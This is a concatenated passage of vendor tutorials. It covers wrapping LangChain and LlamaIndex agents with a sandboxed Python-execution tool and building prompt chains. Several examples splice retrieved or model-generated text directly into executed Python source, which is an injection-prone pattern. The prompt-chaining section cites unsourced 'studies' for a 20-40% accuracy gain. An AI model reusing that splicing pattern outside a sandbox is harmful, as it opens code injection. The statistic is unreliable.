def get_sandbox(self) -> Sandbox:
if self.sandbox is None:
self.sandbox = Sandbox.create(
template="code-interpreter",
ttl=300 # 5 minute TTL
)
return self.sandbox
def _run(self, code: str) -> str:
try:
sandbox = self.get_sandbox()
result = sandbox.runCode(code, language="python", timeout=120)
output_parts = []
if result.stdout:
output_parts.append(f"Output:\n{result.stdout}")
if result.stderr and result.exitCode != 0:
output_parts.append(f"Error:\n{result.stderr}")
# Check if a chart was created
try:
chart_data = sandbox.files.read("/app/chart.png")
output_parts.append("\n📊 Chart saved to /app/chart.png")
except:
pass
return "\n\n".join(output_parts) or "Code executed successfully"
except Exception as e:
self.sandbox = None # Reset on error
return f"Execution error: {str(e)}"
def upload_data(self, filename: str, content: bytes):
"""Upload data file to sandbox."""
sandbox = self.get_sandbox()
sandbox.files.write(f"/app/data/{filename}", content)
def cleanup(self):
"""Destroy sandbox when done."""
if self.sandbox:
self.sandbox.kill()
self.sandbox = None
# Create the analysis agent
llm = ChatOpenAI(model="gpt-4o", temperature=0)
data_tool = DataAnalysisTool()
analysis_prompt = ChatPromptTemplate.from_messages([
("system", """You are an expert data analyst assistant.
When users provide data or ask analytical questions:
1. First explore the data structure (head, info, describe)
2. Perform the requested analysis
3. Create visualizations when appropriate
4. Explain your findings clearly
Always show your work with code. Use pandas for data manipulation.
Save visualizations to /app/chart.png using plt.savefig('/app/chart.png', dpi=150, bbox_inches='tight')
"""),
("human", "{input}"),
MessagesPlaceholder(variable_name="agent_scratchpad"),
])
agent = create_openai_tools_agent(llm, [data_tool], analysis_prompt)
data_agent = AgentExecutor(agent=agent, tools=[data_tool], verbose=True)
# Example: Multi-step analysis
response = data_agent.invoke({
"input": """Create a sample sales dataset with:
- 500 rows
- Columns: date, product, region, quantity, revenue
- Random but realistic data
Then:
1. Show basic statistics
2. Find top 5 products by revenue
3. Create a bar chart of revenue by region
"""
})
print(response["output"])
# Cleanup
data_tool.cleanup()
```
## LangChain Expression Language (LCEL) Integration
For more complex chains, integrate with LCEL:
```python
from langchain_core.runnables import RunnablePassthrough, RunnableLambda
from langchain_core.output_parsers import StrOutputParser
from langchain_openai import ChatOpenAI
from hopx import Sandbox
def execute_code_safely(code: str) -> str:
"""Execute code in sandbox and return result."""
sandbox = Sandbox.create(template="code-interpreter")
try:
result = sandbox.runCode(code, language="python", timeout=60)
return result.stdout if result.exitCode == 0 else f"Error: {result.stderr}"
finally:
sandbox.kill()
# Build an LCEL chain that generates and executes code
generate_code_prompt = ChatPromptTemplate.from_messages([
("system", "You are a Python expert. Generate ONLY executable Python code, no explanations."),
("human", "Write Python code to: {task}")
])
explain_result_prompt = ChatPromptTemplate.from_messages([
("system", "Explain the following code execution result in plain English."),
("human", "Task: {task}\n\nCode result:\n{result}")
])
llm = ChatOpenAI(model="gpt-4o")
# Chain: Generate code → Execute → Explain
chain = (
{"task": RunnablePassthrough()}
| RunnablePassthrough.assign(
code=generate_code_prompt | llm | StrOutputParser()
)
| RunnablePassthrough.assign(
result=lambda x: execute_code_safely(x["code"])
)
| explain_result_prompt
| llm
| StrOutputParser()
)
# Run it
result = chain.invoke("Calculate the factorial of 20 and check if it's divisible by 7")
print(result)
```
## Error Handling and Retry Logic
Production agents need robust error handling:
```python
from langchain.tools import BaseTool
from hopx import Sandbox
from typing import Optional
import time
class RobustPythonTool(BaseTool):
"""Python execution with retry logic and error recovery."""
name: str = "python"
description: str = "Execute Python code with automatic error recovery"
max_retries: int = 3
retry_delay: float = 1.0
def _run(self, code: str) -> str:
last_error = None
for attempt in range(self.max_retries):
sandbox = None
try:
sandbox = Sandbox.create(template="code-interpreter")
result = sandbox.runCode(code, language="python", timeout=60)
if result.exitCode == 0:
return result.stdout or "Success (no output)"
else:
# Code error - don't retry, return error for LLM to fix
return f"Code error:\n{result.stderr}"
except Exception as e:
last_error = str(e)
if attempt < self.max_retries - 1:
time.sleep(self.retry_delay)
continue
finally:
if sandbox:
try:
sandbox.kill()
except:
pass
return f"Sandbox failed after {self.max_retries} attempts: {last_error}"
```
## Comparing with Built-in PythonREPL
| Feature | LangChain PythonREPL | HopX Secure Tool |
|---------|---------------------|------------------|
| **Isolation** | ❌ Runs on host | ✅ Isolated microVM |
| **Security** | ❌ Full system access | ✅ No host access |
| **Resource Limits** | ❌ Unlimited | ✅ CPU/memory limits |
| **Network Control** | ❌ Open | ✅ Configurable policies |
| **Cleanup** | ❌ Artifacts persist | ✅ VM destroyed |
| **Speed** | ✅ Instant | ✅ ~100ms startup |
| **State Persistence** | ✅ Session state | ✅ With persistent sandbox |
## Best Practices
### 1. Always Set Timeouts
```python
result = sandbox.runCode(code, language="python", timeout=60)
```
### 2. Limit Output Size
```python
def _run(self, code: str) -> str:
result = sandbox.runCode(code, language="python", timeout=60)
output = result.stdout[:10000] # Truncate large outputs
return output
```
### 3. Use Custom Templates for Specialized Tasks
```python
# For data science tasks
sandbox = Sandbox.create(template="data-science")
# For web scraping
sandbox = Sandbox.create(template="web-scraper")
```
### 4. Implement Conversation Memory
```python
from langchain.memory import ConversationBufferMemory
memory = ConversationBufferMemory(memory_key="chat_history", return_messages=True)
agent_executor = AgentExecutor(
agent=agent,
tools=tools,
memory=memory,
verbose=True
)
```
### 5. Log All Executions
```python
import logging
logger = logging.getLogger("secure_python_tool")
def _run(self, code: str) -> str:
logger.info(f"Executing code: {code[:100]}...")
result = self._execute(code)
logger.info(f"Result: {result[:100]}...")
return result
```
## Complete Working Example
Here's a production-ready implementation:
```python
"""
Secure LangChain Agent with HopX Code Execution
"""
from langchain_openai import ChatOpenAI
from langchain.agents import AgentExecutor, create_openai_tools_agent
from langchain_core.prompts import ChatPromptTemplate, MessagesPlaceholder
from langchain.tools import BaseTool
from langchain.memory import ConversationBufferMemory
from hopx import Sandbox
from pydantic import BaseModel, Field
from typing import Type, Optional
import os
# Ensure API keys are set
assert os.environ.get("OPENAI_API_KEY"), "Set OPENAI_API_KEY"
assert os.environ.get("HOPX_API_KEY"), "Set HOPX_API_KEY"
class CodeInput(BaseModel):
code: str = Field(description="Python code to execute")
class SecurePythonExecutor(BaseTool):
name: str = "execute_python"
description: str = """Execute Python code in a secure isolated sandbox.
Available: pandas, numpy, matplotlib, seaborn, scikit-learn, requests.
For charts: plt.savefig('/app/chart.png')
Print results you want to see."""
args_schema: Type[BaseModel] = CodeInput
sandbox: Optional[Sandbox] = None
def get_or_create_sandbox(self) -> Sandbox:
if self.sandbox is None:
self.sandbox = Sandbox.create(template="code-interpreter", ttl=300)
return self.sandbox
def _run(self, code: str) -> str:
try:
sandbox = self.get_or_create_sandbox()
result = sandbox.runCode(code, language="python", timeout=60)
if result.exitCode == 0:
return result.stdout or "✅ Executed successfully"
return f"❌ Error:\n{result.stderr}"
except Exception as e:
self.sandbox = None
return f"❌ Sandbox error: {e}"
def cleanup(self):
if self.sandbox:
self.sandbox.kill()
self.sandbox = None
def create_secure_agent():
"""Create a LangChain agent with secure code execution."""
llm = ChatOpenAI(model="gpt-4o", temperature=0)
tool = SecurePythonExecutor()
prompt = ChatPromptTemplate.from_messages([
("system", """You are a helpful AI assistant that can execute Python code safely.
When you need to compute, analyze data, or run code:
1. Write clear Python code
2. Use the execute_python tool
3. Explain the results
Be concise and helpful."""),
MessagesPlaceholder(variable_name="chat_history", optional=True),
("human", "{input}"),
MessagesPlaceholder(variable_name="agent_scratchpad"),
])
agent = create_openai_tools_agent(llm, [tool], prompt)
memory = ConversationBufferMemory(memory_key="chat_history", return_messages=True)
return AgentExecutor(
agent=agent,
tools=[tool],
memory=memory,
verbose=True,
max_iterations=5
), tool
if __name__ == "__main__":
agent, tool = create_secure_agent()
try:
# Example conversation
print("\n" + "="*60)
response = agent.invoke({"input": "What's 2^100 exactly?"})
print(f"\nAgent: {response['output']}")
print("\n" + "="*60)
response = agent.invoke({
"input": "Create a list of the first 10 fibonacci numbers and calculate their average"
})
print(f"\nAgent: {response['output']}")
finally:
tool.cleanup()
```
## Conclusion
By replacing LangChain's `PythonREPLTool` with HopX sandboxed execution, you get:
- **Security**: Code runs in isolated microVMs, not your host
- **Same API**: Drop-in replacement for existing LangChain patterns
- **Production-ready**: Timeouts, error handling, resource limits
- **Flexibility**: Custom tools for any use case
The LLM gets the power of code execution. Your infrastructure stays safe.
---
Ready to secure your LangChain agents? [Get started with HopX](https://console.hopx.ai) — sandboxes that spin up in 100ms.
## Further Reading
- [Build a Code Interpreter Agent](/blog/ai-agents/build-code-interpreter-openai-hopx) — Full tutorial with OpenAI
- [Tool Use Pattern](/blog/ai-agents/tool-use-pattern-ai-agents) — Deep dive into LLM tools
- [Why AI Agents Need Isolated Execution](/blog/ai-agents/why-ai-agents-need-isolated-code-execution) — Security fundamentals
- [LangChain Documentation](https://python.langchain.com/docs/) — Official LangChain docs
- [Custom Templates](/blog/tutorials/custom-templates-pre-bake-your-environment) — Pre-configure your sandbox environment
---
## LlamaIndex + HopX: Building RAG Agents with Code Execution
URL: https://hopx.ai/blog/tutorials/llamaindex-hopx-rag-code-execution/
Category: Tutorials
Published: 2025-11-26
# LlamaIndex + HopX: Building RAG Agents with Code Execution
LlamaIndex excels at Retrieval-Augmented Generation—connecting LLMs to your data. But what happens when the answer isn't in your documents? What if the LLM needs to *compute* something?
That's where code execution comes in. This tutorial shows how to build LlamaIndex agents that can both retrieve information AND execute Python code to analyze, calculate, and visualize.
## The Power of RAG + Code
```
┌─────────────────────────────────────────────────────────────────┐
│ User: "What was our Q3 revenue and how does it compare to │
│ the industry average growth rate?" │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ LlamaIndex Agent │
│ │
│ 1. Query Vector Index → "Q3 revenue was $2.4M" │
│ 2. Query Vector Index → "Industry avg growth is 12%" │
│ 3. Execute Python → Calculate comparison, growth rate │
│ 4. Generate Response → Synthesize with computed values │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Answer: "Q3 revenue was $2.4M, representing 18% YoY growth. │
│ This outperforms the industry average of 12% by 6 percentage │
│ points, ranking us in the top quartile of our sector." │
└─────────────────────────────────────────────────────────────────┘
```
## Prerequisites
```bash
pip install llama-index llama-index-llms-openai llama-index-embeddings-openai hopx-ai
```
Set environment variables:
```bash
export OPENAI_API_KEY="sk-..."
export HOPX_API_KEY="..."
```
## Step 1: Create the Code Execution Tool
Build a LlamaIndex-compatible tool for sandboxed execution:
```python
from llama_index.core.tools import FunctionTool
from hopx import Sandbox
from typing import Optional
def execute_python(code: str) -> str:
"""
Execute Python code in an isolated sandbox.
Use this tool when you need to:
- Perform calculations or mathematical operations
- Analyze data with pandas
- Create visualizations
- Process or transform data
Args:
code: Python code to execute. Must be complete and runnable.
Always use print() to output results.
Returns:
The output from code execution or error message.
"""
sandbox = None
try:
sandbox = Sandbox.create(template="code-interpreter")
result = sandbox.runCode(code, language="python", timeout=60)
if result.exitCode == 0:
return result.stdout or "Code executed successfully (no output)"
else:
return f"Error: {result.stderr}"
except Exception as e:
return f"Execution failed: {str(e)}"
finally:
if sandbox:
sandbox.kill()
# Create LlamaIndex tool
python_tool = FunctionTool.from_defaults(
fn=execute_python,
name="python_executor",
description="""Execute Python code in a secure sandbox.
Use for calculations, data analysis, and any computational task.
The sandbox has pandas, numpy, matplotlib, scipy installed.
Always print() results you want to see."""
)
```
## Step 2: Build a RAG Index
Create a simple vector index from documents:
```python
from llama_index.core import VectorStoreIndex, Document, Settings
from llama_index.llms.openai import OpenAI
from llama_index.embeddings.openai import OpenAIEmbedding
# Configure LlamaIndex
Settings.llm = OpenAI(model="gpt-4o", temperature=0)
Settings.embed_model = OpenAIEmbedding(model="text-embedding-3-small")
# Sample documents (replace with your data)
documents = [
Document(text="""
Q3 2024 Financial Report
Revenue: $2.4 million
Operating Expenses: $1.8 million
Net Profit: $600,000
Year-over-year revenue growth: 18%
Customer acquisition: 450 new customers
Churn rate: 3.2%
Key metrics:
- Average revenue per user (ARPU): $89
- Customer lifetime value (LTV): $2,340
- Customer acquisition cost (CAC): $156
"""),
Document(text="""
Industry Benchmarks 2024
SaaS Industry Average Metrics:
- Revenue growth: 12% YoY
- Churn rate: 5.2%
- ARPU: $75
- LTV/CAC ratio: 3:1
Top quartile performance:
- Revenue growth: >15%
- Churn rate: <3%
- LTV/CAC ratio: >4:1
"""),
Document(text="""
Customer Segments Analysis
Enterprise (>1000 employees):
- 45 customers
- $450 ARPU
- 1.5% churn
Mid-Market (100-1000 employees):
- 180 customers
- $120 ARPU
- 2.8% churn
SMB (<100 employees):
- 675 customers
- $45 ARPU
- 4.1% churn
""")
]
# Create index
index = VectorStoreIndex.from_documents(documents)
```
## Step 3: Create a Query Engine Tool
Wrap the index as a tool the agent can use:
```python
from llama_index.core.tools import QueryEngineTool
# Create query engine
query_engine = index.as_query_engine(similarity_top_k=3)
# Wrap as tool
rag_tool = QueryEngineTool.from_defaults(
query_engine=query_engine,
name="company_knowledge",
description="""Search the company knowledge base for information about:
- Financial metrics and reports
- Industry benchmarks
- Customer segments
- Performance data
Use this to find specific facts before doing calculations."""
)
```
## Step 4: Build the Agent
Combine RAG and code execution in an agent:
```python
from llama_index.core.agent import ReActAgent
# Create agent with both tools
agent = ReActAgent.from_tools(
tools=[rag_tool, python_tool],
llm=Settings.llm,
verbose=True,
max_iterations=10
)
# Test it
response = agent.chat(
"What was our Q3 revenue and how does it compare to industry average? "
"Calculate the exact percentage difference."
)
print(response)
```
Example output:
```
Thought: I need to find our Q3 revenue and the industry average, then calculate the comparison.
Action: company_knowledge
Action Input: {"input": "Q3 2024 revenue"}
Observation: Q3 revenue was $2.4 million with 18% YoY growth...
Action: company_knowledge
Action Input: {"input": "industry average revenue growth"}
Observation: SaaS industry average revenue growth is 12% YoY...
Action: python_executor
Action Input: {"code": "our_growth = 18\nindustry_avg = 12\ndiff = our_growth - industry_avg\npercentage_better = (diff / industry_avg) * 100\nprint(f'Difference: {diff} percentage points')\nprint(f'We outperform by: {percentage_better:.1f}%')"}
Observation: Difference: 6 percentage points
We outperform by: 50.0%
Answer: Our Q3 revenue was $2.4 million with 18% year-over-year growth.
Compared to the industry average of 12%, we outperform by 6 percentage points,
which represents a 50% better growth rate than the industry benchmark.
```
## Step 5: Persistent Sandbox for Complex Analysis
For multi-step analyses, use a persistent sandbox:
```python
from llama_index.core.tools import FunctionTool
from hopx import Sandbox
from typing import Optional
class PersistentSandbox:
"""Manage a persistent sandbox for multi-step analysis."""
_instance: Optional['PersistentSandbox'] = None
def __init__(self):
self.sandbox: Optional[Sandbox] = None
@classmethod
def get(cls) -> 'PersistentSandbox':
if cls._instance is None:
cls._instance = cls()
return cls._instance
def execute(self, code: str) -> str:
if self.sandbox is None:
self.sandbox = Sandbox.create(template="code-interpreter", ttl=600)
result = self.sandbox.runCode(code, language="python", timeout=60)
if result.exitCode == 0:
return result.stdout or "Executed (no output)"
return f"Error: {result.stderr}"
def cleanup(self):
if self.sandbox:
self.sandbox.kill()
self.sandbox = None
def execute_python_persistent(code: str) -> str:
"""
Execute Python with persistent state.
Variables and imports persist between calls.
"""
return PersistentSandbox.get().execute(code)
persistent_python = FunctionTool.from_defaults(
fn=execute_python_persistent,
name="python_persistent",
description="""Execute Python code with PERSISTENT STATE.
Variables, DataFrames, and imports persist between calls.
Use this for multi-step analysis where you need to build on previous results.
"""
)
```
## Step 6: Data Analysis Agent
Build a specialized agent for data analysis:
```python
from llama_index.core.agent import ReActAgent
from llama_index.core.tools import FunctionTool
from hopx import Sandbox
import json
# Data upload tool
def upload_data(filename: str, data: str) -> str:
"""
Upload CSV data to the sandbox for analysis.
Args:
filename: Name for the file (e.g., 'sales.csv')
data: CSV content as a string
"""
sandbox = PersistentSandbox.get()
if sandbox.sandbox is None:
sandbox.sandbox = Sandbox.create(template="code-interpreter", ttl=600)
sandbox.sandbox.files.write(f"/app/{filename}", data)
return f"Uploaded {filename} to /app/{filename}"
upload_tool = FunctionTool.from_defaults(
fn=upload_data,
name="upload_data",
description="Upload CSV data to sandbox. Provide filename and CSV content."
)
# Create data analysis agent
data_agent = ReActAgent.from_tools(
tools=[rag_tool, persistent_python, upload_tool],
llm=Settings.llm,
verbose=True,
system_prompt="""You are a data analyst assistant.
When analyzing data:
1. First check if relevant context exists in the knowledge base
2. Upload data files as needed using upload_data
3. Use python_persistent for multi-step analysis (state persists!)
4. Always show your calculations and explain your methodology
5. Create visualizations when helpful (save to /app/chart.png)
For calculations, always use Python to ensure accuracy."""
)
# Example usage
response = data_agent.chat("""
Here's our monthly revenue data:
month,revenue,customers
Jan,180000,520
Feb,195000,545
Mar,210000,580
Apr,225000,610
May,240000,650
Jun,260000,695
Upload this data and analyze:
1. Calculate month-over-month growth rates
2. What's the average growth rate?
3. Project July revenue based on the trend
4. Compare to industry benchmark from our knowledge base
""")
print(response)
```
## Advanced: Sub-Question Query Engine
For complex queries, break them into sub-questions:
```python
from llama_index.core.query_engine import SubQuestionQueryEngine
from llama_index.core.tools import QueryEngineTool, ToolMetadata
# Multiple specialized indices
financial_index = VectorStoreIndex.from_documents(financial_docs)
customer_index = VectorStoreIndex.from_documents(customer_docs)
market_index = VectorStoreIndex.from_documents(market_docs)
# Create query engine tools
query_engine_tools = [
QueryEngineTool(
query_engine=financial_index.as_query_engine(),
metadata=ToolMetadata(
name="financial_data",
description="Financial reports, revenue, expenses, profits"
)
),
QueryEngineTool(
query_engine=customer_index.as_query_engine(),
metadata=ToolMetadata(
name="customer_data",
description="Customer segments, churn, acquisition metrics"
)
),
QueryEngineTool(
query_engine=market_index.as_query_engine(),
metadata=ToolMetadata(
name="market_data",
description="Industry benchmarks, competitor analysis, market trends"
)
)
]
# Create sub-question query engine
sub_question_engine = SubQuestionQueryEngine.from_defaults(
query_engine_tools=query_engine_tools
)
# Wrap as tool for agent
sub_question_tool = QueryEngineTool.from_defaults(
query_engine=sub_question_engine,
name="comprehensive_search",
description="""Search across all company data sources.
Use for complex questions that span multiple topics.
Automatically breaks down into sub-questions."""
)
# Create powerful agent
comprehensive_agent = ReActAgent.from_tools(
tools=[sub_question_tool, persistent_python],
llm=Settings.llm,
verbose=True
)
```
## Multi-Document Analysis with Code
Analyze documents and compute insights:
```python
from llama_index.core import SimpleDirectoryReader
from llama_index.core.node_parser import SentenceSplitter
# Load documents
documents = SimpleDirectoryReader("./data/reports/").load_data()
# Parse into nodes
parser = SentenceSplitter(chunk_size=512, chunk_overlap=50)
nodes = parser.get_nodes_from_documents(documents)
# Create index
index = VectorStoreIndex(nodes)
# Agent for document analysis
doc_analysis_agent = ReActAgent.from_tools(
tools=[
QueryEngineTool.from_defaults(
query_engine=index.as_query_engine(),
name="document_search",
description="Search uploaded documents for information"
),
persistent_python
],
llm=Settings.llm,
verbose=True,
system_prompt="""You are a document analysis agent.
Your workflow:
1. Search documents to extract relevant data points
2. Use Python to compute statistics, comparisons, trends
3. Always verify calculations by showing the code
4. Provide data-driven conclusions
When extracting numbers from documents, use Python to validate and compute."""
)
```
## Structured Output with Code Validation
Ensure accuracy by validating with code:
```python
from llama_index.core.tools import FunctionTool
from pydantic import BaseModel
from typing import List
class FinancialAnalysis(BaseModel):
revenue: float
growth_rate: float
profit_margin: float
industry_comparison: str
recommendations: List[str]
def validated_analysis(query: str) -> str:
"""
Perform financial analysis with code validation.
Retrieves data, computes metrics in sandbox, returns validated results.
"""
sandbox = PersistentSandbox.get()
# Step 1: Query for raw data
raw_data = query_engine.query(query)
# Step 2: Validate and compute in sandbox
validation_code = f'''
import json
# Parse extracted values (from RAG)
raw_text = """{raw_data}"""
# Extract and validate numbers
import re
numbers = re.findall(r'\$?([\d,]+(?:\.\d+)?)\s*(?:million|M)?', raw_text)
numbers = [float(n.replace(',', '')) for n in numbers]
# Compute derived metrics
if len(numbers) >= 2:
revenue = numbers[0]
if 'million' in raw_text.lower():
revenue *= 1_000_000
# Calculate metrics
analysis = {{
"revenue": revenue,
"extracted_values": numbers,
"validation": "passed" if revenue > 0 else "failed"
}}
print(json.dumps(analysis, indent=2))
else:
print(json.dumps({{"error": "Could not extract values"}}))
'''
result = sandbox.execute(validation_code)
return result
validation_tool = FunctionTool.from_defaults(
fn=validated_analysis,
name="validated_financial_analysis",
description="Perform validated financial analysis with code verification"
)
```
## Complete Working Example
Here's a production-ready implementation:
```python
"""
LlamaIndex RAG Agent with HopX Code Execution
"""
from llama_index.core import VectorStoreIndex, Document, Settings
from llama_index.core.agent import ReActAgent
from llama_index.core.tools import FunctionTool, QueryEngineTool
from llama_index.llms.openai import OpenAI
from llama_index.embeddings.openai import OpenAIEmbedding
from hopx import Sandbox
from typing import Optional
import os
# Verify environment
assert os.environ.get("OPENAI_API_KEY"), "Set OPENAI_API_KEY"
assert os.environ.get("HOPX_API_KEY"), "Set HOPX_API_KEY"
# Configure LlamaIndex
Settings.llm = OpenAI(model="gpt-4o", temperature=0)
Settings.embed_model = OpenAIEmbedding()
class SandboxManager:
"""Singleton sandbox manager."""
_sandbox: Optional[Sandbox] = None
@classmethod
def execute(cls, code: str) -> str:
if cls._sandbox is None:
cls._sandbox = Sandbox.create(template="code-interpreter", ttl=600)
result = cls._sandbox.runCode(code, language="python", timeout=60)
return result.stdout if result.exitCode == 0 else f"Error: {result.stderr}"
@classmethod
def cleanup(cls):
if cls._sandbox:
cls._sandbox.kill()
cls._sandbox = None
def python_executor(code: str) -> str:
"""Execute Python code with persistent state."""
return SandboxManager.execute(code)
def create_rag_agent(documents: list) -> ReActAgent:
"""Create a RAG agent with code execution."""
# Build index
index = VectorStoreIndex.from_documents(
[Document(text=d) for d in documents]
)
# Tools
tools = [
QueryEngineTool.from_defaults(
query_engine=index.as_query_engine(),
name="knowledge_base",
description="Search the knowledge base for information"
),
FunctionTool.from_defaults(
fn=python_executor,
name="python",
description="Execute Python for calculations. State persists."
)
]
return ReActAgent.from_tools(
tools=tools,
llm=Settings.llm,
verbose=True,
system_prompt="""You are an analytical assistant.
1. Search knowledge base for facts
2. Use Python for all calculations
3. Always verify numbers with code
4. Explain your methodology"""
)
# Example usage
if __name__ == "__main__":
docs = [
"Q3 2024: Revenue $2.4M, Growth 18%, Profit margin 25%",
"Industry benchmark: Average growth 12%, Top quartile >15%",
"Customers: 900 total, 45 enterprise ($450 ARPU), 675 SMB ($45 ARPU)"
]
agent = create_rag_agent(docs)
try:
response = agent.chat(
"What's our revenue per customer segment? "
"Calculate the contribution of each segment."
)
print("\n" + "="*50)
print(response)
finally:
SandboxManager.cleanup()
```
## Best Practices
### 1. Query First, Compute Second
```python
# Good pattern:
# 1. Retrieve facts from RAG
# 2. Compute with Python
# 3. Synthesize response
# Don't hallucinate numbers - always verify with code
```
### 2. Use Persistent Sandbox for Multi-Step
```python
# For complex analysis:
step1 = agent.chat("Load the sales data and show structure")
step2 = agent.chat("Calculate monthly averages") # Uses same sandbox
step3 = agent.chat("Create visualization") # State persists
```
### 3. Validate RAG Extractions
```python
# After RAG retrieval, validate numbers:
validation_code = f"""
extracted_value = {value}
# Sanity checks
assert extracted_value > 0, "Value should be positive"
assert extracted_value < 1e12, "Value seems too large"
print(f"Validated: {extracted_value}")
"""
```
### 4. Clean Up Resources
```python
try:
result = agent.chat(query)
finally:
SandboxManager.cleanup()
```
## Conclusion
LlamaIndex + HopX enables agents that:
- **Retrieve** facts from your documents
- **Compute** accurate answers with Python
- **Validate** numbers through code execution
- **Persist** state for complex analyses
No more hallucinated calculations. Your agent can reason about data with the precision of code.
---
Ready to add code execution to your RAG app? [Get started with HopX](https://console.hopx.ai) — sandboxes that spin up in 100ms.
## Further Reading
- [LangChain Tools with Secure Execution](/blog/tutorials/langchain-tools-secure-code-execution) — LangChain integration
- [Vercel AI SDK Streaming](/blog/tutorials/vercel-ai-sdk-streaming-code-execution) — Streaming responses
- [LlamaIndex Documentation](https://docs.llamaindex.ai/) — Official docs
- [Build a Code Interpreter](/blog/ai-agents/build-code-interpreter-openai-hopx) — Full tutorial
---
## Prompt Chaining: How to Build Sequential AI Workflows
URL: https://hopx.ai/blog/ai-agents/prompt-chaining-sequential-ai-workflows/
Category: AI Agents
Published: 2025-11-26
# Prompt Chaining: How to Build Sequential AI Workflows
You've hit the wall. Your single prompt is getting longer, more complex, and increasingly unreliable. The LLM sometimes nails it, sometimes completely misses. Sound familiar?
**Prompt chaining** is the solution: break your mega-prompt into smaller, focused steps where each LLM call does one thing well.
This guide shows you how to build reliable prompt chains, when to use them, and how to avoid the common pitfalls that trip up most developers.
## What Is Prompt Chaining?
Prompt chaining connects multiple LLM calls in sequence. The output of one prompt becomes the input for the next:
```
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ Prompt 1 │───▶│ Prompt 2 │───▶│ Prompt 3 │
│ Extract │ │ Transform │ │ Format │
└─────────────┘ └─────────────┘ └─────────────┘
│ │ │
▼ ▼ ▼
Raw Data Structured Final Output
Data
```
Instead of asking the LLM to do everything at once:
```
❌ "Read this document, extract the key points, translate them to Spanish,
summarize each point, and format as a newsletter"
```
You break it into steps:
```
✅ Step 1: "Extract key points from this document"
Step 2: "Translate these points to Spanish"
Step 3: "Summarize each point in one sentence"
Step 4: "Format these summaries as a newsletter"
```
Each step is simpler, more reliable, and easier to debug.
## Why Prompt Chaining Works
### 1. Reduced Cognitive Load
LLMs perform better on focused tasks. A prompt that does one thing well consistently outperforms a prompt trying to juggle five things.
**Research insight**: Studies show LLM accuracy drops significantly as task complexity increases. Breaking a 5-step task into 5 prompts can improve overall accuracy by 20-40%.
### 2. Debuggability
When something goes wrong in a monolithic prompt, good luck figuring out where. With chains, you can inspect each intermediate output:
```python
# Easy to debug
step1_output = extract_entities(document) # Check: Are entities correct?
step2_output = classify_entities(step1_output) # Check: Are classifications correct?
step3_output = generate_summary(step2_output) # Check: Is summary accurate?
```
### 3. Reusability
Chain steps become building blocks. Your "translate to Spanish" step works in any pipeline:
```python
# Reuse across different workflows
translate_step = TranslatePrompt(target_language="Spanish")
workflow_a = Chain([extract, translate_step, summarize])
workflow_b = Chain([user_input, translate_step, respond])
```
### 4. Cost Optimization
You can use smaller, cheaper models for simpler steps and reserve expensive models for complex reasoning:
```python
chain = [
Step("Extract dates", model="gpt-3.5-turbo"), # Simple extraction: cheap model
Step("Parse to ISO format", model="gpt-3.5-turbo"), # Formatting: cheap model
Step("Analyze timeline", model="gpt-4o"), # Complex reasoning: powerful model
]
```
## Basic Prompt Chain Implementation
Here's a minimal but complete implementation:
```python
import openai
from dataclasses import dataclass
@dataclass
class ChainStep:
name: str
prompt_template: str
model: str = "gpt-4o"
class PromptChain:
def __init__(self, steps: list[ChainStep]):
self.steps = steps
self.client = openai.OpenAI()
self.trace = [] # For debugging
def run(self, initial_input: str) -> str:
current_input = initial_input
for step in self.steps:
# Format prompt with current input
prompt = step.prompt_template.format(input=current_input)
# Call LLM
response = self.client.chat.completions.create(
model=step.model,
messages=[{"role": "user", "content": prompt}]
)
output = response.choices[0].message.content
# Save trace for debugging
self.trace.append({
"step": step.name,
"input": current_input[:200], # Truncate for readability
"output": output[:200]
})
# Output becomes next input
current_input = output
return current_input
def debug(self):
"""Print execution trace"""
for i, step in enumerate(self.trace):
print(f"\n{'='*50}")
print(f"Step {i+1}: {step['step']}")
print(f"Input: {step['input']}...")
print(f"Output: {step['output']}...")
# Usage
chain = PromptChain([
ChainStep(
name="Extract",
prompt_template="Extract all person names from this text:\n\n{input}"
),
ChainStep(
name="Deduplicate",
prompt_template="Remove duplicates from this list of names:\n\n{input}"
),
ChainStep(
name="Format",
prompt_template="Format these names as a numbered list:\n\n{input}"
)
])
result = chain.run("John met Sarah at the coffee shop. Sarah introduced John to Mike...")
print(result)
chain.debug() # See what happened at each step
```
Output:
```
1. John
2. Sarah
3. Mike
==================================================
Step 1: Extract
Input: John met Sarah at the coffee shop. Sarah introduced John to Mike...
Output: John, Sarah, John, Mike, Sarah...
==================================================
Step 2: Deduplicate
Input: John, Sarah, John, Mike, Sarah...
Output: John, Sarah, Mike...
==================================================
Step 3: Format
Input: John, Sarah, Mike...
Output: 1. John
2. Sarah
3. Mike...
```
## Real-World Example: Document Processing Pipeline
Let's build a practical document processing chain that:
1. Extracts key information
2. Validates the extraction
3. Transforms to structured data
4. Generates a summary
```python
from hopx import Sandbox
import openai
import json
class DocumentProcessor:
def __init__(self):
self.client = openai.OpenAI()
def process(self, document: str) -> dict:
# Step 1: Extract key information
extracted = self._extract(document)
# Step 2: Validate extraction (with code execution)
validated = self._validate(extracted)
# Step 3: Structure the data
structured = self._structure(validated)
# Step 4: Generate summary
summary = self._summarize(structured)
return {
"extracted": extracted,
"validated": validated,
"structured": structured,
"summary": summary
}
def _extract(self, document: str) -> str:
"""Step 1: Extract key entities and facts"""
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": """Extract the following from the document:
- People mentioned (with roles)
- Dates and deadlines
- Action items
- Key decisions
Format as a structured list."""
}, {
"role": "user",
"content": document
}]
)
return response.choices[0].message.content
def _validate(self, extracted: str) -> str:
"""Step 2: Validate with code execution"""
sandbox = Sandbox.create(template="code-interpreter")
try:
# Use code to validate dates, check for inconsistencies
validation_code = f'''
import re
from datetime import datetime
text = """{extracted}"""
# Find all dates
date_patterns = [
r'\d{{1,2}}/\d{{1,2}}/\d{{4}}',
r'\d{{4}}-\d{{2}}-\d{{2}}',
r'(January|February|March|April|May|June|July|August|September|October|November|December)\s+\d{{1,2}},?\s+\d{{4}}'
]
dates_found = []
for pattern in date_patterns:
dates_found.extend(re.findall(pattern, text))
# Check for potential issues
issues = []
if len(dates_found) == 0:
issues.append("No dates found - verify manually")
# Output validation result
print("VALIDATION RESULT")
print(f"Dates found: {{dates_found}}")
print(f"Issues: {{issues if issues else 'None'}}")
print("---")
print(text)
'''
